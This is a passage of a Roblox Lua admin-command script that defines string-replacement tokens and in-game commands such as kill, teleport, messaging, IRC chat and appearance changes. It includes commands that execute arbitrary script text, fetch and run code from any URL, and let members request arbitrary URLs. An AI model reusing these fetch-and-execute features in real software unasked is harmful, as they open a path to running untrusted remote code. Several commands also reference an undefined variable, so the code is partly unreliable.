  5268.     local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
  5269.     local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
  5270.     if Sound then
  5271.         CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
  5272.     end
  5273.     if Time then
  5274.         local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
  5275.         local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
  5276.    
  5277.         coroutine.wrap(function()
  5278.             local Alive = true
  5279.            
  5280.             local function StopTimer() Alive = false end
  5281.             Closed.Event:connect(StopTimer)
  5282.             Minimized.Event:connect(StopTimer)
  5283.             CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
  5284.            
  5285.             for i = Time,0,-1 do
  5286.                 for ii = 1,10 do
  5287.                     if Alive == true then
  5288.                         Timer.Text = i
  5289.                         wait(0.1)
  5290.                     else
  5291.                         break
  5292.                     end
  5293.                 end
  5294.             end
  5295.             if Alive == true then
  5296.                 Close:Invoke()
  5297.             else
  5298.                 Timer:Destroy()
  5299.                 Stop:Destroy()
  5300.             end
  5301.         end)()
  5302.     end
  5303. end
  5304.  
  5305. ---- STRING REPLACEMENT OPERATIONS ----
  5306.  
  5307. -- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
  5308.  
  5309. -- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
  5310.  
  5311. StringReplacements = {
  5312.     {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
  5313.     {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
  5314.     {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
  5315.     {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
  5316.     {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
  5317.     {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
  5318.     {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
  5319.     {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
  5320.     {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
  5321.     {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
  5322.    
  5323.     {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
  5324.     {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
  5325.     {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
  5326.     {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
  5327.     {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
  5328.     {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
  5329.    
  5330.     {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
  5331.     {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
  5332.     {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
  5333.     {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
  5334.     {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
  5335.     {"_NAME", "player's username", true, function(Player) return Player.Name end};
  5336.     {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
  5337.     {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
  5338.     {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
  5339.     {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
  5340.     {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
  5341.     {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
  5342.     {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
  5343.     {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
  5344.     {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
  5345.     {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
  5346. }
  5347.  
  5348. ---- COMMANDS ----
  5349.  
  5350. -- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
  5351.  
  5352. Commands = { -- can't make local
  5353.     [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
  5354.         print("[MML's Admin]: Test message from "..Speaker.Name)
  5355.         GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
  5356.     end};
  5357.    
  5358.     [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
  5359.         local Players = STRING:Scan(Arguments[1], Speaker)
  5360.         for _,Player in pairs(Players) do
  5361.             if Player.Character then
  5362.                 Player.Character:BreakJoints()
  5363.             end
  5364.         end
  5365.     end};
  5366.    
  5367.     [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
  5368.         local Players = STRING:Scan(Arguments[1], Speaker)
  5369.         for _,Player in pairs(Players) do
  5370.             if Player.Character then
  5371.                 Instance.new("ForceField", Player.Character)
  5372.             end
  5373.         end
  5374.     end};
  5375.    
  5376.     [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5377.         local Players = STRING:Scan(Arguments[1], Speaker)
  5378.         for _,Player in pairs(Players) do
  5379.             if Player.Character then
  5380.                 for _,Get in pairs(Player.Character:GetChildren()) do
  5381.                     if Get:IsA("ForceField") then
  5382.                         Get:Destroy()
  5383.                     end
  5384.                 end
  5385.             end
  5386.         end
  5387.     end};
  5388.    
  5389.     [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5390.         for _,Player in pairs(Server.Players:GetPlayers()) do
  5391.             GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
  5392.         end
  5393.     end};
  5394.    
  5395.     [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5396.         for _,Player in pairs(Server.Players:GetPlayers()) do
  5397.             GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
  5398.         end
  5399.     end};
  5400.    
  5401.     [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
  5402.         local Players = STRING:Scan(Arguments[1], Speaker)
  5403.         for _,Player in pairs(Players) do
  5404.             GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
  5405.         end
  5406.     end};
  5407.    
  5408.     [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5409.         for _,Player in pairs(Server.Players:GetPlayers()) do
  5410.             GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
  5411.         end
  5412.     end};
  5413.    
  5414.     [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
  5415.         local Players = STRING:Scan(Arguments[1], Speaker)
  5416.         for _,Player in pairs(Players) do
  5417.             GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
  5418.         end
  5419.     end};
  5420.    
  5421.     [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5422.         local Players = STRING:Scan(Arguments[1], Speaker)
  5423.         local AgeList = {}
  5424.         for _,Player in pairs(Players) do
  5425.             table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
  5426.         end
  5427.         GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
  5428.     end};
  5429.    
  5430.     [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
  5431.         local Players = STRING:Scan(Arguments[1], Speaker)
  5432.         local AgeList = {}
  5433.         for _,Player in pairs(Players) do
  5434.             table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
  5435.         end
  5436.         local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
  5437.         for _,Player in pairs(SecondPlayers) do
  5438.             GUI:ListGui(Player, "Player Ages", AgeList, "Time")
  5439.         end
  5440.     end};
  5441.    
  5442.     [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  5443.         local Storage = {{}, {}, {}, {}}
  5444.         local StorageText = {}
  5445.         local Formatted = {}
  5446.         for CommandNames,Data in pairs(Commands) do
  5447.             if not Data.Hidden then
  5448.                 local RankNeeded = RANK:ConvertRank(Data[4])
  5449.                 local Add = ""
  5450.                 if Data[4] == "Non-Admin" then Add = "BLACK " end
  5451.                 if Data[4] == "Admin" then Add = "CYAN " end
  5452.                 if Data[4] == "Member" then Add = "BLUE " end
  5453.                 if Data[4] == "Owner" then Add = "BROWN " end
  5454.                 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
  5455.                 local AddBet = Settings.Bet
  5456.                 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
  5457.                 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
  5458.                 table.insert(Storage[RankNeeded + 1], Add..Text)
  5459.                 StorageText[Text] = CommandNames
  5460.             end
  5461.         end
  5462.         for Num,_ in pairs(Storage) do
  5463.             table.sort(Storage[Num])
  5464.         end
  5465.         for _,Table in pairs(Storage) do
  5466.             for _,Command in pairs(Table) do
  5467.                 table.insert(Formatted, Command)
  5468.             end
  5469.         end
  5470.         local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
  5471.         Clicked.Event:connect(function(Text)
  5472.             GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
  5473.         end)
  5474.     end};
  5475.    
  5476.     [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
  5477.         GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
  5478.     end};
  5479.    
  5480.     [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5481.         if GUI:GetColor(Arguments[1]) then
  5482.             local ColorScheme = string.upper(Arguments[1])
  5483.             if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
  5484.             Settings.ColorScheme = ColorScheme
  5485.             GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
  5486.         else
  5487.             GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
  5488.         end
  5489.     end};
  5490.    
  5491.     [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
  5492.         local List = {}
  5493.         for Color,_ in pairs(Colors) do
  5494.             table.insert(List, Color.." "..Color)
  5495.         end
  5496.         GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
  5497.     end};
  5498.    
  5499.     [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5500.         local Transparency = tonumber(Arguments[1])
  5501.         if Transparency then
  5502.             if Transparency > 90 then Transparency = 90 end
  5503.             if Transparency < 10 then Transparency = 10 end
  5504.             Settings.TransparencyScheme = Transparency/100
  5505.  
  5506.             GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
  5507.         else
  5508.             GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
  5509.         end
  5510.     end};
  5511.    
  5512.     [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5513.         if Fonts[Arguments[1]] then
  5514.             Settings.Font = Arguments[1]
  5515.             GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
  5516.         end
  5517.     end};
  5518.    
  5519.     [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5520.         Settings.Fun = not Settings.Fun
  5521.         GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
  5522.     end};
  5523.    
  5524.     [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5525.         Settings.DisableAbuse = not Settings.DisableAbuse
  5526.         GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
  5527.     end};
  5528.    
  5529.     [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
  5530.         local List = {}
  5531.         for Font,_ in pairs(Fonts) do
  5532.             if Font == Settings.Font then
  5533.                 table.insert(List, Font.." "..Font.."  (CURRENT FONT)")
  5534.             else
  5535.                 table.insert(List, Font.." "..Font)
  5536.             end
  5537.         end
  5538.         GUI:ListGui(Speaker, "Font list", List, 44453197)
  5539.     end};
  5540.    
  5541.     [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5542.         local SoundID = tonumber(Arguments[1])
  5543.         if SoundID then
  5544.             Settings.ExecuteNotificationSound = SoundID
  5545.  
  5546.             GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
  5547.         else
  5548.             GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
  5549.         end
  5550.     end};
  5551.    
  5552.     [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5553.         Settings.ExecuteNotificationSound = 0
  5554.     end};
  5555.    
  5556.     [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
  5557.         local Players = STRING:Scan(Arguments[1], Speaker)
  5558.         for _,Player in pairs(Players) do
  5559.             CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
  5560.         end
  5561.     end};
  5562.    
  5563.     [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
  5564.         local Players = STRING:Scan(Arguments[1], Speaker)
  5565.         for _,Player in pairs(Players) do
  5566.             CORE:ChangeCharacter(Player, 13416513, false, Speaker)
  5567.         end
  5568.     end};
  5569.    
  5570.     [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
  5571.         local Players = STRING:Scan(Arguments[1], Speaker)
  5572.         for _,Player in pairs(Players) do
  5573.             coroutine.wrap(function()
  5574.                 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
  5575.                 wait(1)
  5576.                 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
  5577.             end)()
  5578.         end
  5579.     end, Hidden = true};
  5580.    
  5581.     [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
  5582.         local Players = STRING:Scan(Arguments[1], Speaker)
  5583.         for _,Player in pairs(Players) do
  5584.             CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
  5585.         end
  5586.     end};
  5587.    
  5588.     [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
  5589.         local Players = STRING:Scan(Arguments[1], Speaker)
  5590.         for _,Player in pairs(Players) do
  5591.             CORE:ChangeName(Player, Arguments[2])
  5592.         end
  5593.     end};
  5594.    
  5595.     [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
  5596.         local Players = STRING:Scan(Arguments[1], Speaker)
  5597.         for _,Player in pairs(Players) do
  5598.             if Player.Character then
  5599.                 local Head = Player.Character:FindFirstChild("Label")
  5600.                 if Head then Head:Destroy() end
  5601.                 local Head = Player.Character:FindFirstChild("Head")
  5602.                 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
  5603.             end
  5604.         end
  5605.     end};
  5606.    
  5607.     [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
  5608.         local Players = STRING:Scan(Arguments[1], Speaker)
  5609.         for _,Player in pairs(Players) do
  5610.             CORE:ChangeCharacter(Player, 11397, false, Speaker)
  5611.         end
  5612.     end};
  5613.    
  5614.     [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5615.         local Players = STRING:Scan(Arguments[1], Speaker)
  5616.         for _,Player in pairs(Players) do
  5617.             local _,RankNum = RANK:GetRank(Player)
  5618.             if RankNum <= RANK:ConvertRank(Rank) then
  5619.                 Server.TS:Teleport(Arguments[2], Player)
  5620.             end
  5621.         end
  5622.     end};
  5623.    
  5624.     [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5625.         local Players = STRING:Scan(Arguments[1], Speaker)
  5626.         local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
  5627.         if Suc then
  5628.             for _,Player in pairs(Players) do
  5629.                 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
  5630.             end
  5631.         else
  5632.             GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
  5633.         end
  5634.     end};
  5635.    
  5636.     [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5637.         local Players = STRING:Scan(Arguments[1], Speaker)
  5638.         MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
  5639.             local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
  5640.             if Suc then
  5641.                 for _,Player in pairs(Players) do
  5642.                     Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
  5643.                 end
  5644.             else
  5645.                 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
  5646.             end
  5647.         end)
  5648.     end};
  5649.    
  5650.     [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5651.         local Players = STRING:Scan(Arguments[1], Speaker)
  5652.         for _,Player in pairs(Players) do
  5653.             local _,RankNum = RANK:GetRank(Player)
  5654.             if RankNum < RANK:ConvertRank(Rank) then
  5655.                 Server.TS:Teleport(155307015, Player)
  5656.             end
  5657.         end
  5658.     end};
  5659.    
  5660.     [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5661.         local Players = STRING:Scan(Arguments[1], Speaker)
  5662.         for _,Player in pairs(Players) do
  5663.             local _,RankNum = RANK:GetRank(Player)
  5664.             if RankNum < RANK:ConvertRank(Rank) then
  5665.                 Server.TS:Teleport(347911447, Player)
  5666.             end
  5667.         end
  5668.     end};
  5669.    
  5670.     [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5671.         local Players = STRING:Scan(Arguments[1], Speaker)
  5672.         for _,Player in pairs(Players) do
  5673.             CORE:GenerateShield(Player)
  5674.         end
  5675.     end};
  5676.    
  5677.     [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5678.         local Players = STRING:Scan(Arguments[1], Speaker)
  5679.         for _,Player in pairs(Players) do
  5680.             if Player.Character then
  5681.                 local Shield = Player.Character:FindFirstChild("Shield")
  5682.                 if Shield then Shield:Destroy() end
  5683.             end
  5684.         end
  5685.     end};
  5686.    
  5687.     [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
  5688.         local Num = tonumber(Arguments[1])
  5689.         if Num and Num ~= 0 then
  5690.             local Random = math.random(1,math.abs(Num))
  5691.             if Random == math.random(1,math.abs(Num)) then
  5692.                 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
  5693.             else
  5694.                 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
  5695.             end
  5696.         else
  5697.             GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
  5698.         end
  5699.     end};
  5700.    
  5701.     [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5702.         IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
  5703.         IRC:AddChat(Speaker.Name, Arguments[1])
  5704.     end};
  5705.    
  5706.     --[[
  5707.     [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5708.         local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
  5709.         if Res then
  5710.             GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
  5711.         end
  5712.     end, Http = true};
  5713.    
  5714.     [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5715.         local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
  5716.         if Res then
  5717.             GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
  5718.         end
  5719.     end}, Http = true;
  5720.     ]]
  5721.    
  5722.     [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5723.         IRC:Quit("Reconnecting")
  5724.         IRC:ConnectToServer(Settings.IRCServer)
  5725.     end};
  5726.    
  5727.     [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5728.         local Players = STRING:Scan(Arguments[1], Speaker)
  5729.         for _,Player in pairs(Players) do
  5730.             local PreAdd = {}
  5731.             for _,Data in pairs(IRC.Chats) do
  5732.                 local Error = nil
  5733.                 if Rank == "Owner" then Error = Data[3] end
  5734.                 table.insert(PreAdd, {Data[1], Data[2], Error})
  5735.             end
  5736.             local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
  5737.             IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
  5738.                 if Rank ~= "Owner" then Error = nil end
  5739.                 AddMessage:Invoke(UserName, Message, Error)
  5740.             end)
  5741.             SendPressed.Event:connect(function(Text)
  5742.                 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
  5743.                 IRC:AddChat(Player.Name, Text)
  5744.             end)
  5745.         end
  5746.     end};
  5747.    
  5748.     [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5749.         local Players = STRING:Scan(Arguments[1], Speaker)
  5750.         for _,Player in pairs(Players) do
  5751.             local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
  5752.                 if Type == "Leave" then
  5753.                     PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
  5754.                 elseif Type == "Join" then
  5755.                     PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
  5756.                 end
  5757.             end)
  5758.             PriChat.Chatted.Event:connect(function(UserName, Message)
  5759.                 AddMessage:Invoke(UserName, Message)
  5760.             end)
  5761.             SendPressed.Event:connect(function(Text)
  5762.                 PriChat.Chatted:Fire(Player.Name, Text)
  5763.                 table.insert(PriChat.Chats, {Player.Name, Text})
  5764.             end)
  5765.         end
  5766.     end};
  5767.    
  5768.     [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5769.         ExecuteSafe(Arguments[1], Speaker)
  5770.     end};
  5771.    
  5772.     [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5773.         local Script = REMOTE:GetURL(Arguments[1], Player)
  5774.         if Script then
  5775.             ExecuteSafe(Script, Speaker)
  5776.         end
  5777.     end, Http = true};
  5778.    
  5779.     [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
  5780.         local Time = tick()
  5781.         local Res = REMOTE:GetURL(Arguments[1], Player)
  5782.         if Res then
  5783.             GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
  5784.         end
  5785.     end, Http = true};
  5786.    
  5787.     [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5788.         CORE:RemoveAdmin(Speaker)
  5789.     end};
  5790.    
  5791.     [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5792.         for _,Player in pairs(Server.Players:GetPlayers()) do
